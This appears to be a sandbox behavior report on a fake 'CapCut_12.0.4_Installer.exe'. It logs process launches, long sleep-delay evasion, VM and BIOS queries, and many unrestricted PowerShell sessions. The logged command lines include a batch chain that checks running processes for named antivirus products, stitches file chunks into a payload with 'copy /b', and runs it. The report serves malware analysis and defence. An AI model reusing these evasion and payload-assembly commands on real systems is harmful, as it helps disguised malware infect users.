      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4828Thread sleep count: 2989 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7436Thread sleep time: -9223372036854770s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7348Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996Thread sleep count: 3061 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7224Thread sleep count: 919 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.com TID: 7800Thread sleep time: -90000s >= -30000s
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile Volume queried: C:\Users\user FullSizeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\localesJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\userJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resourcesJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\app-64.7zJump to behavior
      Source: PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
      Source: PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware can crash with older drivers and WebGL content
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe "C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe"
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 530420
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Autos" Pupils
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Realty + ..\Toys + ..\Ja + ..\Titans + ..\Victoria + ..\Healthy q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\530420\Classes.com Classes.com q
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "c:\users\user\appdata\local\temp\2q4oxtq4j47yyejo9rcdlv9grgw\philipinessavia application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\poikfwdnmyoitatx" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\resources\app.asar VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
